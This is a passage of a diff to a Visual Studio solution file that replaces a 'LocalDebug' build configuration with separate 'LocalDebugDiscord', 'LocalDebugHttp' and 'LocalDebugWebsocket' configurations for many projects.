+ {58670B32-4A68-4B31-8B77-391A099B5EC0}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {58670B32-4A68-4B31-8B77-391A099B5EC0}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {58670B32-4A68-4B31-8B77-391A099B5EC0}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {58670B32-4A68-4B31-8B77-391A099B5EC0}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {58670B32-4A68-4B31-8B77-391A099B5EC0}.Release|Any CPU.ActiveCfg = Release|Any CPU {58670B32-4A68-4B31-8B77-391A099B5EC0}.Release|Any CPU.Build.0 = Release|Any CPU {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.Debug|Any CPU.Build.0 = Debug|Any CPU - {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.Release|Any CPU.ActiveCfg = Release|Any CPU {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.Release|Any CPU.Build.0 = Release|Any CPU {775CB280-1761-4A87-A185-2165912104B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {775CB280-1761-4A87-A185-2165912104B6}.Debug|Any CPU.Build.0 = Debug|Any CPU - {775CB280-1761-4A87-A185-2165912104B6}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {775CB280-1761-4A87-A185-2165912104B6}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {775CB280-1761-4A87-A185-2165912104B6}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {775CB280-1761-4A87-A185-2165912104B6}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {775CB280-1761-4A87-A185-2165912104B6}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {775CB280-1761-4A87-A185-2165912104B6}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {775CB280-1761-4A87-A185-2165912104B6}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {775CB280-1761-4A87-A185-2165912104B6}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {775CB280-1761-4A87-A185-2165912104B6}.Release|Any CPU.ActiveCfg = Release|Any CPU {775CB280-1761-4A87-A185-2165912104B6}.Release|Any CPU.Build.0 = Release|Any CPU {FA75CA77-9941-4212-8967-3B42D9700912}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {FA75CA77-9941-4212-8967-3B42D9700912}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FA75CA77-9941-4212-8967-3B42D9700912}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {FA75CA77-9941-4212-8967-3B42D9700912}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {FA75CA77-9941-4212-8967-3B42D9700912}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {FA75CA77-9941-4212-8967-3B42D9700912}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {FA75CA77-9941-4212-8967-3B42D9700912}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {FA75CA77-9941-4212-8967-3B42D9700912}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {FA75CA77-9941-4212-8967-3B42D9700912}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {FA75CA77-9941-4212-8967-3B42D9700912}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {FA75CA77-9941-4212-8967-3B42D9700912}.Release|Any CPU.ActiveCfg = Release|Any CPU {FA75CA77-9941-4212-8967-3B42D9700912}.Release|Any CPU.Build.0 = Release|Any CPU {5AA579A8-6057-4FF1-A208-F5AD5761594C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {5AA579A8-6057-4FF1-A208-F5AD5761594C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {5AA579A8-6057-4FF1-A208-F5AD5761594C}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {5AA579A8-6057-4FF1-A208-F5AD5761594C}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {5AA579A8-6057-4FF1-A208-F5AD5761594C}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {5AA579A8-6057-4FF1-A208-F5AD5761594C}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {5AA579A8-6057-4FF1-A208-F5AD5761594C}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {5AA579A8-6057-4FF1-A208-F5AD5761594C}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {5AA579A8-6057-4FF1-A208-F5AD5761594C}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {5AA579A8-6057-4FF1-A208-F5AD5761594C}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {5AA579A8-6057-4FF1-A208-F5AD5761594C}.Release|Any CPU.ActiveCfg = Release|Any CPU {5AA579A8-6057-4FF1-A208-F5AD5761594C}.Release|Any CPU.Build.0 = Release|Any CPU {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.Debug|Any CPU.Build.0 = Debug|Any CPU - {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.Release|Any CPU.ActiveCfg = Release|Any CPU {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.Release|Any CPU.Build.0 = Release|Any CPU {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.Release|Any CPU.ActiveCfg = Release|Any CPU {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.Release|Any CPU.Build.0 = Release|Any CPU {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.Release|Any CPU.ActiveCfg = Release|Any CPU {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.Release|Any CPU.Build.0 = Release|Any CPU {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.Debug|Any CPU.Build.0 = Debug|Any CPU - {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.Release|Any CPU.ActiveCfg = Release|Any CPU {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.Release|Any CPU.Build.0 = Release|Any CPU {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.Release|Any CPU.ActiveCfg = Release|Any CPU {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.Release|Any CPU.Build.0 = Release|Any CPU {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.Release|Any CPU.ActiveCfg = Release|Any CPU {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.Release|Any CPU.Build.0 = Release|Any CPU {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.Release|Any CPU.ActiveCfg = Release|Any CPU {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.Release|Any CPU.Build.0 = Release|Any CPU {35EE5851-4FC9-4497-9C14-8092A232A0BC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {35EE5851-4FC9-4497-9C14-8092A232A0BC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {35EE5851-4FC9-4497-9C14-8092A232A0BC}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {35EE5851-4FC9-4497-9C14-8092A232A0BC}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {35EE5851-4FC9-4497-9C14-8092A232A0BC}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {35EE5851-4FC9-4497-9C14-8092A232A0BC}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {35EE5851-4FC9-4497-9C14-8092A232A0BC}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {35EE5851-4FC9-4497-9C14-8092A232A0BC}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {35EE5851-4FC9-4497-9C14-8092A232A0BC}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {35EE5851-4FC9-4497-9C14-8092A232A0BC}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {35EE5851-4FC9-4497-9C14-8092A232A0BC}.Release|Any CPU.ActiveCfg = Release|Any CPU {35EE5851-4FC9-4497-9C14-8092A232A0BC}.Release|Any CPU.Build.0 = Release|Any CPU {8B3EA5C9-44CA-4974-A779-377168FA5461}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {8B3EA5C9-44CA-4974-A779-377168FA5461}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8B3EA5C9-44CA-4974-A779-377168FA5461}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {8B3EA5C9-44CA-4974-A779-377168FA5461}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {8B3EA5C9-44CA-4974-A779-377168FA5461}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {8B3EA5C9-44CA-4974-A779-377168FA5461}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {8B3EA5C9-44CA-4974-A779-377168FA5461}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {8B3EA5C9-44CA-4974-A779-377168FA5461}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {8B3EA5C9-44CA-4974-A779-377168FA5461}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {8B3EA5C9-44CA-4974-A779-377168FA5461}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {8B3EA5C9-44CA-4974-A779-377168FA5461}.Release|Any CPU.ActiveCfg = Release|Any CPU {8B3EA5C9-44CA-4974-A779-377168FA5461}.Release|Any CPU.Build.0 = Release|Any CPU {540C04B5-3742-4FA9-99FA-887D88E53F30}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {540C04B5-3742-4FA9-99FA-887D88E53F30}.Debug|Any CPU.Build.0 = Debug|Any CPU - {540C04B5-3742-4FA9-99FA-887D88E53F30}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {540C04B5-3742-4FA9-99FA-887D88E53F30}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {540C04B5-3742-4FA9-99FA-887D88E53F30}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {540C04B5-3742-4FA9-99FA-887D88E53F30}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {540C04B5-3742-4FA9-99FA-887D88E53F30}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {540C04B5-3742-4FA9-99FA-887D88E53F30}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {540C04B5-3742-4FA9-99FA-887D88E53F30}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {540C04B5-3742-4FA9-99FA-887D88E53F30}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {540C04B5-3742-4FA9-99FA-887D88E53F30}.Release|Any CPU.ActiveCfg = Release|Any CPU {540C04B5-3742-4FA9-99FA-887D88E53F30}.Release|Any CPU.Build.0 = Release|Any CPU {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.Release|Any CPU.ActiveCfg = Release|Any CPU {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.Release|Any CPU.Build.0 = Release|Any CPU {009CAE34-7FFD-4A73-9A26-DB340526117C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {009CAE34-7FFD-4A73-9A26-DB340526117C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {009CAE34-7FFD-4A73-9A26-DB340526117C}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {009CAE34-7FFD-4A73-9A26-DB340526117C}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {009CAE34-7FFD-4A73-9A26-DB340526117C}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {009CAE34-7FFD-4A73-9A26-DB340526117C}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {009CAE34-7FFD-4A73-9A26-DB340526117C}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {009CAE34-7FFD-4A73-9A26-DB340526117C}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {009CAE34-7FFD-4A73-9A26-DB340526117C}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {009CAE34-7FFD-4A73-9A26-DB340526117C}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {009CAE34-7FFD-4A73-9A26-DB340526117C}.Release|Any CPU.ActiveCfg = Release|Any CPU {009CAE34-7FFD-4A73-9A26-DB340526117C}.Release|Any CPU.Build.0 = Release|Any CPU {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.Release|Any CPU.ActiveCfg = Release|Any CPU {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.Release|Any CPU.Build.0 = Release|Any CPU {48FF4114-48B4-4A07-B47D-1DF7F569E459}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {48FF4114-48B4-4A07-B47D-1DF7F569E459}.Debug|Any CPU.Build.0 = Debug|Any CPU - {48FF4114-48B4-4A07-B47D-1DF7F569E459}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {48FF4114-48B4-4A07-B47D-1DF7F569E459}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {48FF4114-48B4-4A07-B47D-1DF7F569E459}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {48FF4114-48B4-4A07-B47D-1DF7F569E459}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {48FF4114-48B4-4A07-B47D-1DF7F569E459}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {48FF4114-48B4-4A07-B47D-1DF7F569E459}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {48FF4114-48B4-4A07-B47D-1DF7F569E459}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {48FF4114-48B4-4A07-B47D-1DF7F569E459}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {48FF4114-48B4-4A07-B47D-1DF7F569E459}.Release|Any CPU.ActiveCfg = Release|Any CPU {48FF4114-48B4-4A07-B47D-1DF7F569E459}.Release|Any CPU.Build.0 = Release|Any CPU {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.Debug|Any CPU.Build.0 = Debug|Any CPU - {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.Release|Any CPU.ActiveCfg = Release|Any CPU {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.Release|Any CPU.Build.0 = Release|Any CPU {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 